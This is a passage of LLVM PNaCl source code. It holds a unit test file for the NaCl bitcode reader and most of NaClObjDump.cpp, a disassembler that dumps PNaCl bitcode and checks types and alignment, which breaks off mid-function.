// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "NaClMungeTest.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/Bitcode/BitstreamWriter.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DiagnosticPrinter.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Verifier.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/MemoryBuffer.h"
#include "gtest/gtest.h"
using namespace llvm;
namespace {
static std::unique_ptr<Module> makeLLVMModule() {
std::unique_ptr<Module> Mod(new Module("test-mem", getGlobalContext()));
FunctionType* FuncTy =
FunctionType::get(Type::getVoidTy(Mod->getContext()), false);
Function* Func = Function::Create(FuncTy,GlobalValue::ExternalLinkage,
"func", Mod.get());
BasicBlock* Entry = BasicBlock::Create(Mod->getContext(), "entry", Func);
new UnreachableInst(Mod->getContext(), Entry);
BasicBlock* BB = BasicBlock::Create(Mod->getContext(), "bb", Func);
new UnreachableInst(Mod->getContext(), BB);
return Mod;
}
static void writeModuleToBuffer(SmallVectorImpl<char> &Buffer) {
std::unique_ptr<Module> Mod = makeLLVMModule();
raw_svector_ostream OS(Buffer);
NaClWriteBitcodeToFile(Mod.get(), OS);
}
// Check that we can parse a good bitcode file.
TEST(NaClBitReaderTest, MaterializeSimpleModule) {
SmallString<1024> Mem;
writeModuleToBuffer(Mem);
std::unique_ptr<MemoryBuffer> Buffer =
MemoryBuffer::getMemBuffer(Mem.str(), "test", false);
ErrorOr<Module *> ModuleOrErr =
getNaClLazyBitcodeModule(std::move(Buffer), getGlobalContext());
EXPECT_EQ(true, bool(ModuleOrErr));
// Do something with the module just to make sure it was built.
std::unique_ptr<Module> M(ModuleOrErr.get());
EXPECT_NE((Module *)nullptr, M.get());
M->getFunction("func")->materialize();
EXPECT_FALSE(verifyModule(*M, &dbgs()));
}
// Test that we catch bad stuff at the end of a bitcode file.
TEST(NaClBitReaderTest, BadDataAfterModule) {
SmallString<1024> Mem;
writeModuleToBuffer(Mem);
Mem.append("more"); // Length must be divisible by 4!
std::unique_ptr<MemoryBuffer> Buffer =
MemoryBuffer::getMemBuffer(Mem.str(), "test", false);
std::string OutputBuffer;
raw_string_ostream OutputStream(OutputBuffer);
ErrorOr<Module *> ModuleOrErr =
getNaClLazyBitcodeModule(std::move(Buffer), getGlobalContext(),
redirectNaClDiagnosticToStream(OutputStream));
EXPECT_EQ(false, bool(ModuleOrErr));
std::string BadMessage("Invalid data after module\n");
EXPECT_EQ(BadMessage, naclmungetest::stripErrorPrefix(OutputStream.str()));
}
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClObjDump.cpp
//===-- NaClObjDump.cpp - Dump PNaCl bitcode contents ---------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Analysis/NaCl/PNaClABIProps.h"
#include "llvm/Analysis/NaCl/PNaClABITypeChecker.h"
#include "llvm/Analysis/NaCl/PNaClAllowedIntrinsics.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeDecoders.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeParser.h"
#include "llvm/Bitcode/NaCl/NaClBitCodes.h"
#include "llvm/Bitcode/NaCl/NaClObjDumpStream.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/Format.h"
#include "llvm/Support/raw_ostream.h"
#include <algorithm>
#include <map>
namespace {
using namespace llvm;
static cl::opt<bool>
ReportWarningsAsErrors(
"Werror",
cl::desc("Report warnings as errors."),
cl::init(false));
static cl::opt<bool>
IgnorePNaClABIChecks(
"ignore-pnaclabi-checks",
cl::desc("Ignore checking bitcode for PNaCl ABI violations"),
cl::init(false));
/// Class to handle sign rotations in a human readable form. That is,
/// the sign is in the low bit. The two special cases are:
/// 1) -1 is true for i1.
/// 2) The representation allows -0 (which is different than 0).
class SignRotatedInt {
public:
SignRotatedInt(uint64_t Value, Type* ValueType)
: SignedValue(Value >> 1),
IsNegated((Value & 0x1)
&& !(ValueType->isIntegerTy()
&& ValueType->getIntegerBitWidth() == 1)) {
}
SignRotatedInt()
: SignedValue(0), IsNegated(false) {}
explicit SignRotatedInt(const SignRotatedInt &V)
: SignedValue(V.SignedValue), IsNegated(V.IsNegated) {}
void operator=(const SignRotatedInt &V) {
SignedValue = V.SignedValue;
IsNegated = V.IsNegated;
}
void Print(raw_ostream &Strm) const {
if (IsNegated) Strm << "-";
Strm << SignedValue;
}
private:
int64_t SignedValue;
bool IsNegated;
};
inline raw_ostream &operator<<(raw_ostream &Strm, const SignRotatedInt &V) {
V.Print(Strm);
return Strm;
}
/// Convenience class to be able to print value ids to raw_ostream's.
/// Kinds of bitcode Ids:
/// a : For abbreviations.
/// b : For basic blocks.
/// c : For local constants.
/// f : For function addresses.
/// g : For global variable addresses.
/// p : For parameter arguments.
/// t : For type values.
/// v : For values generated by instructions.
class BitcodeId {
public:
BitcodeId(char Kind, NaClBcIndexSize_t Index)
: Kind(Kind), Index(Index), IsGlobal(IsGlobalKind(Kind)) {
}
BitcodeId(const BitcodeId &Id)
: Kind(Id.Kind), Index(Id.Index), IsGlobal(Id.IsGlobal) {}
BitcodeId(char Kind, NaClBcIndexSize_t Index, bool IsGlobal)
: Kind(Kind), Index(Index), IsGlobal(IsGlobal) {}
void operator=(const BitcodeId &Id) {
Kind = Id.Kind;
Index = Id.Index;
IsGlobal = Id.IsGlobal;
}
raw_ostream &Print(raw_ostream &Stream) const {
return Stream << Prefix() << Kind << Index;
}
char GetKind() const {
return Kind;
}
std::string GetName() const {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
Print(StrBuf);
return StrBuf.str();
}
private:
char Kind;
NaClBcIndexSize_t Index;
bool IsGlobal;
// Returns true if (default) assumption for kind implies global.
static bool IsGlobalKind(char Kind);
// Returns the bitcode prefix character that communicates if the
// bitcode Id is lcoal or global.
char Prefix() const { return IsGlobal ? '@' : '%'; }
};
bool BitcodeId::IsGlobalKind(char Kind) {
switch (Kind) {
case 'f':
case 'g':
case 't':
return true;
case 'b':
case 'c':
case 'p':
case 'v':
return false;
default:
errs() << "Bad bitcode id, can't determine (statically) if global: "
<< Kind << "\n";
report_fatal_error("Unable to continue");
}
}
raw_ostream &operator<<(raw_ostream &Stream, const BitcodeId &Id) {
return Id.Print(Stream);
}
class NaClDisBlockParser;
/// The text formatter for PNaClAsm instructions.
class AssemblyTextFormatter : public naclbitc::TextFormatter {
public:
// Special directive to tokenize type expressions. Used to convert
// type signatures into a sequence of tokens.
class TypeDirective : public naclbitc::TextFormatter::Directive {
public:
TypeDirective(TextFormatter *Formatter)
: naclbitc::TextFormatter::Directive(Formatter),
Typ(0),
FcnId(0),
AddParams(false) {}
~TypeDirective() override {}
private:
/// Calls the corresponding method in AssemblyTextFormatter, with
/// the locally stored arguments.
void MyApply(bool Replay) const override;
void MaybeSaveForReplay() const override {}
// The type to tokenize.
Type *Typ;
// Pointer to function id, if not NULL.
BitcodeId *FcnId;
// true if parameter id's should be added to function signature.
bool AddParams;
friend class AssemblyTextFormatter;
// Internal routine to allow AssemblyTextFormatter::AllocateTypeDirective
// to initialize a type directive.
void Init(Type *NewTyp, BitcodeId *NewFcnId, bool NewAddParams) {
Typ = NewTyp;
FcnId = NewFcnId;
AddParams = NewAddParams;
}
};
// Special directive to tokenize an abbreviation. Used to convert
// an abbreviation (pointer) into a sequence of tokens.
class AbbreviationDirective : public naclbitc::TextFormatter::Directive {
public:
AbbreviationDirective(TextFormatter *Formatter)
: naclbitc::TextFormatter::Directive(Formatter),
Abbrev(0) {}
~AbbreviationDirective() override {}
private:
void MyApply(bool Replay) const override;
void MaybeSaveForReplay() const override {}
// The abbreviation to tokenize.
NaClBitCodeAbbrev *Abbrev;
friend class AssemblyTextFormatter;
};
// Special directive to tokenize an abbreviation index, if the corresponding
// record in the block parser used a user-defined abbreviation.
class AbbrevIndexDirective : public naclbitc::TextFormatter::Directive {
public:
AbbrevIndexDirective(TextFormatter *Formatter)
: naclbitc::TextFormatter::Directive(Formatter),
Record(0), NumGlobalAbbreviations(0) {}
~AbbrevIndexDirective() override {}
private:
void MyApply(bool Replay) const override;
void MaybeSaveForReplay() const override {}
// The record containing the associated abbreviation.
NaClBitcodeRecord *Record;
// The number of global abbreviations defined for the block the
// record appears in.
NaClBcIndexSize_t NumGlobalAbbreviations;
friend class AssemblyTextFormatter;
};
public:
/// Creates an assembly text formatter for the given dump stream.
AssemblyTextFormatter(naclbitc::ObjDumpStream &ObjDump)
: TextFormatter(ObjDump.Assembly(),
std::max(20U, GetAssemblyWidth(ObjDump)),
" "),
Comma(this, ","),
Semicolon(this, ";"),
Colon(this, ":"),
Space(this),
OpenParen(this, "("),
CloseParen(this, ")"),
OpenAngle(this, "<"),
CloseAngle(this, ">"),
OpenCurly(this, "{"),
CloseCurly(this, "}"),
OpenSquare(this, "["),
CloseSquare(this, "]"),
Endline(this),
StartCluster(this),
FinishCluster(this)
{
ContinuationIndent = GetIndent(2);
}
~AssemblyTextFormatter() override {}
naclbitc::TokenTextDirective Comma;
naclbitc::TokenTextDirective Semicolon;
naclbitc::TokenTextDirective Colon;
naclbitc::SpaceTextDirective Space;
naclbitc::OpenTextDirective OpenParen;
naclbitc::CloseTextDirective CloseParen;
naclbitc::OpenTextDirective OpenAngle;
naclbitc::CloseTextDirective CloseAngle;
naclbitc::OpenTextDirective OpenCurly;
naclbitc::CloseTextDirective CloseCurly;
naclbitc::OpenTextDirective OpenSquare;
naclbitc::CloseTextDirective CloseSquare;
naclbitc::EndlineTextDirective Endline;
naclbitc::StartClusteringDirective StartCluster;
naclbitc::FinishClusteringDirective FinishCluster;
/// Prints the given type as a sequence of tokens.
TypeDirective &TokenizeType(Type *Typ) {
return AllocateTypeDirective(Typ, 0, false);
}
/// Prints the named function type as a sequence of tokens.
/// Typ is the type signature of the function, and FunctionName
/// points to the name of the function.
TypeDirective &TokenizeFunctionType(FunctionType *Typ,
BitcodeId *FunctionName) {
return AllocateTypeDirective(Typ, FunctionName, false);
}
/// Prints the function signature of the function type. Typ is
/// the type signature of the function. FunctionName points to the
/// name of the function. Note: Unlike TokenizeFunctionType, this
/// method also adds the parameter names to paramter argumements.
TypeDirective &TokenizeFunctionSignature(FunctionType *Typ,
BitcodeId *FunctionName) {
return AllocateTypeDirective(Typ, FunctionName, true);
}
/// Prints out the abbreviation defined by Abbrev.
AbbreviationDirective &TokenizeAbbreviation(NaClBitCodeAbbrev *Abbrev) {
AbbreviationDirective *Dir = AbbrevDirMemoryPool.Allocate(this);
Dir->Abbrev = Abbrev;
return *Dir;
}
/// If the record was read using a user-defined abbreviation,
/// generates assembly tokens describing the abbreviation index
/// used. Otherwise, no tokens are generated. NumGlobalAbbreviations
/// is used to determine if the user-defined abbreviation is local
/// or global.
AbbrevIndexDirective &TokenizeAbbrevIndex(
NaClBitcodeRecord &Record, NaClBcIndexSize_t NumGlobalAbbreviations) {
AbbrevIndexDirective *Dir = AbbrevIndexDirMemoryPool.Allocate(this);
Dir->Record = &Record;
Dir->NumGlobalAbbreviations = NumGlobalAbbreviations;
return *Dir;
}
private:
// Converts the given type to tokens, based on the values passed in
// by TokenizeType, TokenizeFunctionType, or TokenizeFunctionSignature.
void TokenizeTypeInternal(Type *Typ, BitcodeId* FcnName, bool AddParams);
// The free list of type directives.
naclbitc::DirectiveMemoryPool<TypeDirective> TypeDirMemoryPool;
// Allocates an instance of TypeDirective with the following fields.
TypeDirective &AllocateTypeDirective(Type *Typ, BitcodeId *FcnId,
bool AddParams);
// Converts the given abbreviation to tokens.
void TokenizeAbbreviationInternal(const NaClBitCodeAbbrev *Abbrev);
// Helper function that prints out the abbreviation expression
// located at Index in the given abbreviation. Updates Index to
// next expression in the abbreviation.
void TokenizeAbbrevExpression(const NaClBitCodeAbbrev *Abbrev,
unsigned &Index);
// Prints out the given abbreviation operator.
void TokenizeAbbrevOp(const NaClBitCodeAbbrevOp &Op);
// The free list for abbreviation directives.
naclbitc::DirectiveMemoryPool<AbbreviationDirective> AbbrevDirMemoryPool;
// The free list for abbreviation index directives.
naclbitc::DirectiveMemoryPool<AbbrevIndexDirective> AbbrevIndexDirMemoryPool;
// Computes how wide the assembly portion of the dump file should be.
static unsigned GetAssemblyWidth(naclbitc::ObjDumpStream &ObjDump) {
int Diff = 80 - (ObjDump.GetRecordWidth()+1);
// Make sure there is enough room to print out assembly.
return Diff < 20 ? 20 : Diff;
}
};
void AssemblyTextFormatter::TypeDirective::MyApply(bool Replay) const {
assert(!Replay && "Shouldn't have been saved for replay");
AssemblyTextFormatter *AssemblyFormatter =
reinterpret_cast<AssemblyTextFormatter*>(Formatter);
AssemblyFormatter->TokenizeTypeInternal(Typ, FcnId, AddParams);
AssemblyFormatter->TypeDirMemoryPool.Free(const_cast<TypeDirective*>(this));
}
void AssemblyTextFormatter::AbbreviationDirective::MyApply(bool Replay) const {
assert(!Replay && "Shouldn't have been saved for replay");
AssemblyTextFormatter *AssemblyFormatter =
reinterpret_cast<AssemblyTextFormatter*>(Formatter);
AssemblyFormatter->TokenizeAbbreviationInternal(Abbrev);
AssemblyFormatter->AbbrevDirMemoryPool.Free(
const_cast<AbbreviationDirective*>(this));
}
AssemblyTextFormatter::TypeDirective &AssemblyTextFormatter::
AllocateTypeDirective(Type *Typ, BitcodeId *FcnId, bool AddParams) {
TypeDirective *Element = TypeDirMemoryPool.Allocate(this);
Element->Init(Typ, FcnId, AddParams);
return *Element;
}
void AssemblyTextFormatter::TokenizeTypeInternal(
Type *Typ, BitcodeId* FcnName, bool AddParams) {
switch (Typ->getTypeID()) {
case Type::VoidTyID:
TextStream << "void";
break;
case Type::FloatTyID:
TextStream << "float";
break;
case Type::DoubleTyID:
TextStream << "double";
break;
case Type::IntegerTyID:
TextStream << "i" << Typ->getIntegerBitWidth();
break;
case Type::VectorTyID: {
VectorType *VecType = cast<VectorType>(Typ);
TextStream << StartCluster << OpenAngle << VecType->getNumElements()
<< Space << "x" << Space
<< TokenizeType(VecType->getElementType())
<< CloseAngle << FinishCluster;
break;
}
case Type::FunctionTyID: {
FunctionType *FcnType = cast<FunctionType>(Typ);
size_t NumParams = FcnType->getFunctionNumParams();
TextStream << StartCluster
<< TokenizeType(FcnType->getReturnType())
<< Space
<< StartCluster;
if (NumParams > 0) TextStream << StartCluster;
if (FcnName) TextStream << *FcnName;
TextStream << OpenParen << FinishCluster;
bool HasParamStartCluster = false;
for (size_t i = 0, NumParams = FcnType->getFunctionNumParams();
i < NumParams; ++i) {
if (i > 0) {
TextStream << Comma << FinishCluster << Space;
HasParamStartCluster = false;
}
TextStream << StartCluster
<< TokenizeType(FcnType->getFunctionParamType(i));
if (AddParams) TextStream << Space << BitcodeId('p', i);
HasParamStartCluster = true;
}
if (FcnType->isFunctionVarArg()) {
if (HasParamStartCluster) {
TextStream << Comma << FinishCluster << Space;
}
TextStream << StartCluster << "...";
HasParamStartCluster = true;
}
if (HasParamStartCluster) TextStream << FinishCluster;
TextStream << CloseParen << FinishCluster;
if (NumParams > 0) TextStream << FinishCluster;
break;
}
default:
report_fatal_error("Unsupported PNaCl type found");
break;
}
}
void AssemblyTextFormatter::TokenizeAbbrevOp(const NaClBitCodeAbbrevOp &Op) {
// Note: Mimics NaClBitCodeAbbrevOp::Print in NaClBitCodes.cpp
switch (Op.getEncoding()) {
case NaClBitCodeAbbrevOp::Literal:
Tokens() << Op.getValue();
return;
case NaClBitCodeAbbrevOp::Fixed:
Tokens() << StartCluster << "fixed" << OpenParen << Op.getValue()
<< CloseParen << FinishCluster;
return;
case NaClBitCodeAbbrevOp::VBR:
Tokens() << StartCluster << "vbr" << OpenParen << Op.getValue()
<< CloseParen << FinishCluster;
return;
case NaClBitCodeAbbrevOp::Array:
Tokens() << "array";
return;
case NaClBitCodeAbbrevOp::Char6:
Tokens() << "char6";
return;
}
}
void AssemblyTextFormatter::
TokenizeAbbrevExpression(const NaClBitCodeAbbrev *Abbrev, unsigned &Index) {
// Note: Mimics PrintExpression in NaClBitCodes.cpp
const NaClBitCodeAbbrevOp &Op = Abbrev->getOperandInfo(Index);
TokenizeAbbrevOp(Op);
if (unsigned NumArgs = Op.NumArguments()) {
Tokens() << StartCluster << OpenParen;
for (size_t i = 0; i < NumArgs; ++i) {
++Index;
if (i > 0) {
Tokens() << Comma << FinishCluster << Space << StartCluster;
}
TokenizeAbbrevExpression(Abbrev, Index);
}
Tokens() << CloseParen << FinishCluster;
}
}
void AssemblyTextFormatter::
TokenizeAbbreviationInternal(const NaClBitCodeAbbrev *Abbrev) {
Tokens() << StartCluster << OpenAngle;
for (unsigned i = 0; i < Abbrev->getNumOperandInfos(); ++i) {
if (i > 0) {
Tokens() << Comma << FinishCluster << Space << StartCluster;
}
TokenizeAbbrevExpression(Abbrev, i);
}
Tokens() << CloseAngle << FinishCluster;
}
void AssemblyTextFormatter::AbbrevIndexDirective::MyApply(bool Replay) const {
assert(!Replay && "Shouldn't have been saved for replay");
if (!Record->UsedAnAbbreviation()) return;
NaClBcIndexSize_t Index = Record->GetAbbreviationIndex();
if (Index < naclbitc::FIRST_APPLICATION_ABBREV) return;
Index -= naclbitc::FIRST_APPLICATION_ABBREV;
bool IsGlobal = Index < NumGlobalAbbreviations;
if (!IsGlobal) Index -= NumGlobalAbbreviations;
BitcodeId AbbrevIndex('a', Index, IsGlobal);
AssemblyTextFormatter *Fmtr =
reinterpret_cast<AssemblyTextFormatter*>(Formatter);
Tokens() << Fmtr->Space << Fmtr->StartCluster << Fmtr->OpenAngle
<< AbbrevIndex << Fmtr->CloseAngle << Fmtr->FinishCluster;
Fmtr->AbbrevIndexDirMemoryPool.Free(const_cast<AbbrevIndexDirective*>(this));
}
// Holds possible alignements for loads/stores etc. Used to extract
// expected values.
static unsigned NaClPossibleLoadStoreAlignments[] = {
1, 2, 4, 8
};
// Finds the expected alignments for the load/store, for type Ty.
static void NaClGetExpectedLoadStoreAlignment(
const DataLayout &DL, Type *Ty, std::vector<unsigned> &ValidAlignments) {
for (size_t i = 0; i < array_lengthof(NaClPossibleLoadStoreAlignments); ++i) {
unsigned Alignment = NaClPossibleLoadStoreAlignments[i];
if (PNaClABIProps::isAllowedAlignment(&DL, Alignment, Ty)) {
ValidAlignments.push_back(Alignment);
}
}
}
/// Top-level class to parse bitcode file and transform to
/// corresponding disassembled code.
class NaClDisTopLevelParser : public NaClBitcodeParser {
NaClDisTopLevelParser(const NaClDisTopLevelParser&) = delete;
void operator=(const NaClDisTopLevelParser&) = delete;
public:
NaClDisTopLevelParser(NaClBitcodeHeader &Header,
NaClBitstreamCursor &Cursor,
naclbitc::ObjDumpStream &ObjDump)
: NaClBitcodeParser(Cursor),
Mod("ObjDump", getGlobalContext()),
ObjDump(ObjDump),
AbbrevListener(this),
DL(&Mod),
AllowedIntrinsics(&Mod.getContext()),
AssemblyFormatter(ObjDump),
Header(Header),
NumFunctions(0),
NumGlobals(0),
ExpectedNumGlobals(0),
NumParams(0),
NumConstants(0),
NumValuedInsts(0),
UnknownType(Type::getVoidTy(Mod.getContext())),
PointerType(Type::getInt32Ty(Mod.getContext())),
ComparisonType(Type::getInt1Ty(Mod.getContext())),
NumDefinedFunctions(0) {
SetListener(&AbbrevListener);
}
~NaClDisTopLevelParser() override {
// Be sure to flush any remaining errors.
ObjDump.Flush();
}
// Returns the number of errors that were sent to the ObjDump.
unsigned GetNumErrors() {
return ObjDump.GetNumErrors();
}
/// Generates an error with the given message.
bool ErrorAt(naclbitc::ErrorLevel Level, uint64_t Bit,
const std::string &Message) final {
ObjDump.ErrorAt(Level, Bit) << Message << "\n";
if (Level == naclbitc::Fatal)
ObjDump.FlushThenQuit();
return true;
}
/// Parses the top-level module block.
bool ParseBlock(unsigned BlockID) override;
/// Installs the given type to the next available type index.
void InstallType(Type *Ty) {
TypeIdType.push_back(Ty);
}
/// Returns the type associated with the given type index.
Type *GetType(NaClBcIndexSize_t Index) {
if (Index >= TypeIdType.size()) {
BitcodeId Id('t', Index);
Errors() << "Can't find definition for " << Id << "\n";
// Recover so that additional errors can be found.
return UnknownType;
}
return TypeIdType[Index];
}
/// Returns the number of types (currently) defined in the bitcode
/// file.
NaClBcIndexSize_t GetNumTypes() const {
return TypeIdType.size();
}
/// Returns true if Type represents a (non-zero sized) value.
bool isValidValueType(Type *Ty) const {
return Ty->isIntegerTy() || Ty->isFloatTy() || Ty->isDoubleTy()
|| Ty->isVectorTy();
}
/// Installs the given type to the next available function index.
void InstallFunctionType(FunctionType *Ty, uint64_t BitAddress) {
assert(FunctionIdType.size() == NumFunctions);
++NumFunctions;
FunctionIdType.push_back(Ty);
FunctionIdAddress.push_back(BitAddress);
// Let Valuesymtab change this to true if appropriate.
FunctionIdIsIntrinsic.push_back(false);
}
/// Returns the bit address where the function record appeared in
/// the bitcode file. Returns 0 if unknown.
uint64_t GetFunctionIdAddress(NaClBcIndexSize_t Index) {
if (Index >= FunctionIdAddress.size()) return 0;
return FunctionIdAddress[Index];
}
/// Sets the record bit address to the function ID address (if known).
void SetRecordAddressToFunctionIdAddress(NaClBcIndexSize_t Index) {
uint64_t Address = GetFunctionIdAddress(Index);
if (Address)
ObjDump.SetRecordBitAddress(Address);
}
/// Returns the type associated with the given function index.
FunctionType *GetFunctionType(NaClBcIndexSize_t Index) {
if (Index >= FunctionIdType.size()) {
BitcodeId Id('f', Index);
Errors() << "Can't find definition for " << Id << "\n";
Fatal();
}
return FunctionIdType[Index];
}
/// Marks the function associated with the given Index as intrinsic.
void MarkFunctionAsIntrinsic(NaClBcIndexSize_t Index) {
if (Index >= FunctionIdIsIntrinsic.size()) {
BitcodeId Id('f', Index);
Errors() << "Can't define " << Id << " as intrinsic, no definition";
}
FunctionIdIsIntrinsic[Index] = true;
}
/// Returns true if the given Index is for a function intrinsic.
bool IsFunctionIntrinsic(NaClBcIndexSize_t Index) {
if (Index >= FunctionIdIsIntrinsic.size()) return false;
return FunctionIdIsIntrinsic[Index];
}
/// Returns true if the function is an intrinsic function.
bool IsIntrinsicAllowed(const std::string &FuncName,
const FunctionType *FuncType) {
return AllowedIntrinsics.isAllowed(FuncName, FuncType);
}
/// Returns the type of the Name'd intrinsic, if defined as an
/// allowed intrinsic name. Otherwise returns 0.
FunctionType *GetIntrinsicType(const std::string &Name) {
return AllowedIntrinsics.getIntrinsicType(Name);
}
/// Returns the number of functions (currently) defined/declared in
/// the bitcode file.
NaClBcIndexSize_t GetNumFunctions() const {
return NumFunctions;
}
/// Installs that the given function index as having a function body
/// (i.e. the function address uses the "define" keyword instead of
/// the "declare" keyword).
void InstallDefinedFunction(NaClBcIndexSize_t Index) {
DefinedFunctions.push_back(Index);
}
/// Returns true if there is an Index defined function block.
bool HasDefinedFunctionIndex(NaClBcIndexSize_t Index) const {
return Index < DefinedFunctions.size();
}
/// Returns the function index associated with the Index defined
/// function block.
NaClBcIndexSize_t GetDefinedFunctionIndex(NaClBcIndexSize_t Index) const {
assert(Index < DefinedFunctions.size());
return DefinedFunctions[NumDefinedFunctions];
}
/// Returns true if there is a next defined function index.
bool HasNextDefinedFunctionIndex() const {
return HasDefinedFunctionIndex(NumDefinedFunctions);
}
/// Returns the function index associated with the next defined function.
NaClBcIndexSize_t GetNextDefinedFunctionIndex() const {
return GetDefinedFunctionIndex(NumDefinedFunctions);
}
/// Returns true if the given value ID corresponds to a declared (rather
/// than defined) function.
bool IsDeclaredFunction(NaClBcIndexSize_t Index) {
if (Index >= NumFunctions) return false;
for (size_t i = 0, e = DefinedFunctions.size(); i < e; ++i) {
if (DefinedFunctions[i] == Index) return false;
}
return true;
}
/// Increments the number of (currently) defined functions in the
/// bitcode file by one.
void IncNumDefinedFunctions() {
++NumDefinedFunctions;
}
void IncNumGlobals() {
NumGlobals++;
}
/// Returns the number of globals (currently) defined in the bitcode
/// file.
NaClBcIndexSize_t GetNumGlobals() const {
return NumGlobals;
}
/// Returns the expected number of globals (as defined by the count
/// record of the globals block).
NaClBcIndexSize_t GetExpectedNumGlobals() const {
return ExpectedNumGlobals;
}
/// Sets field ExpectedNumGlobals to the given value.
void SetExpectedNumGlobals(NaClBcIndexSize_t NewValue) {
ExpectedNumGlobals = NewValue;
}
/// Installs the given type to the next available parameter index.
void InstallParamType(Type *Ty) {
while (ParamIdType.size() <= NumParams) {
ParamIdType.push_back(UnknownType);
}
ParamIdType[NumParams++] = Ty;
}
/// Returns the type associated with the given parameter index.
Type *GetParamType(NaClBcIndexSize_t Index) {
if (Index >= ParamIdType.size()) {
BitcodeId Id('p', Index);
Errors() << "Can't find defintion for " << Id << "\n";
Fatal();
}
return ParamIdType[Index];
}
/// Returns the number of parameters (currently) defined in the
/// enclosing defined function.
NaClBcIndexSize_t GetNumParams() const {
return NumParams;
}
/// Installs the given type to the next available constant index.
void InstallConstantType(Type *Ty) {
while (ConstantIdType.size() <= NumConstants) {
ConstantIdType.push_back(UnknownType);
}
ConstantIdType[NumConstants++] = Ty;
}
/// Returns the type associated with the given constant index.
Type *GetConstantType(NaClBcIndexSize_t Index) {
if (Index >= ConstantIdType.size()) {
BitcodeId Id('c', Index);
Errors() << "Can't find definition for " << Id << "\n";
Fatal();
}
return ConstantIdType[Index];
}
/// Returns the number of constants (currently) defined in the
/// enclosing defined function.
NaClBcIndexSize_t GetNumConstants() const {
return NumConstants;
}
/// Installs the given type to the given instruction index. Note:
/// Instruction indices are only associated with instructions that
/// generate values.
void InstallInstType(Type *Ty, NaClBcIndexSize_t Index) {
if (Index > MaxValuedInst) {
Errors() << "Can't define type " << *Ty << " for "
<< BitcodeId('v', Index) << ". Index too large\n";
return;
}
while (InstIdType.size() <= Index) {
InstIdType.push_back(UnknownType);
}
if (InstIdType[Index] != UnknownType && Ty != InstIdType[Index]) {
Errors() << BitcodeId('v', Index) << " defined with multiple types: "
<< *Ty << " and " << *InstIdType[Index] << "\n";
}
InstIdType[Index] = Ty;
}
/// Installs the given type to the next available instruction index.
void InstallInstType(Type *Ty) {
InstallInstType(Ty, NumValuedInsts++);
}
/// Returns the type associated with the given instruction index.
/// Note: Instruction indices are only associated with instructions
/// that generate values.
Type *GetInstType(NaClBcIndexSize_t Index) {
if (Index >= InstIdType.size() || Index > MaxValuedInst) {
Errors() << "Can't find type for " << BitcodeId('v', Index) << "\n";
return UnknownType;
}
return InstIdType[Index];
}
/// Returns the number of instructions (in the defined function)
/// that (currently) generate values.
NaClBcIndexSize_t GetNumValuedInstructions() const {
return NumValuedInsts;
}
/// Reduces the maximum instruction index to the given value.
void restrictMaxValuedInstruction(NaClBcIndexSize_t Max) {
MaxValuedInst = std::min(Max, MaxValuedInst);
}
/// Resets index counters local to a defined function.
void ResetLocalCounters() {
ParamIdType.clear();
NumParams = 0;
NumConstants = 0;
InstIdType.clear();
NumValuedInsts = 0;
MaxValuedInst = std::numeric_limits<NaClBcIndexSize_t>::max();
}
/// Returns the bitcode id associated with the absolute value index
BitcodeId GetBitcodeId(NaClBcIndexSize_t Index);
/// Returns the type associated with the given absolute value index.
/// If UnderlyingType is false, function indices always return a
/// pointer type. Otherwise, function indices returns the declared
/// type of the function index.
Type *GetValueType(NaClBcIndexSize_t Index, bool UnderlyingType = false);
/// Returns a type to use when the type is unknown.
Type *GetUnknownType() const {
return UnknownType;
}
/// Returns the type used to represent a pointer.
Type *GetPointerType() const {
return PointerType;
}
/// Returns the type used to represent comparison results.
Type *GetComparisonType() const {
return ComparisonType;
}
/// Returns the void type.
Type *GetVoidType() const {
return Type::getVoidTy(getGlobalContext());
}
/// Returns the float (32-bit) type.
Type *GetFloatType() const {
return Type::getFloatTy(getGlobalContext());
}
/// Returns the double (64-bit) type.
Type *GetDoubleType() const {
return Type::getDoubleTy(getGlobalContext());
}
/// Returns an integer type of N bits.
Type *GetIntegerType(unsigned N) const {
return Type::getIntNTy(getGlobalContext(), N);
}
/// Returns the number of defined global abbreviations (currently)
/// for the given block id.
NaClBcIndexSize_t GetNumGlobalAbbreviations(unsigned BlockID) {
return GlobalAbbrevsCountMap[BlockID];
}
/// Increments the current number of defined global abbreviations.
void IncNumGlobalAbbreviations(unsigned BlockID) {
++GlobalAbbrevsCountMap[BlockID];
}
/// Verifies the given integer operator has the right type. Returns
/// the operator.
const char *VerifyIntArithmeticOp(const char *Op, Type *OpTy) {
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidIntArithmeticType(OpTy)) {
Errors() << Op << ": Invalid integer arithmetic type: " << *OpTy;
}
return Op;
}
// Checks the Alignment for loading/storing a value of type Ty. If
// invalid, generates an appropriate error message.
void VerifyMemoryAccessAlignment(const char *Op, Type *Ty,
unsigned Alignment) {
if (IgnorePNaClABIChecks) return;
if (!PNaClABIProps::isAllowedAlignment(&DL, Alignment, Ty)) {
raw_ostream &Errs = Errors();
std::vector<unsigned> Alignments;
NaClGetExpectedLoadStoreAlignment(DL, Ty, Alignments);
if (!Alignments.empty()) {
Errs << Op << ": Illegal alignment for " << *Ty << ". Expects: ";
bool isFirst = true;
for (auto Align : Alignments) {
if (isFirst)
isFirst = false;
else
Errs << " or ";
Errs << Align;
}
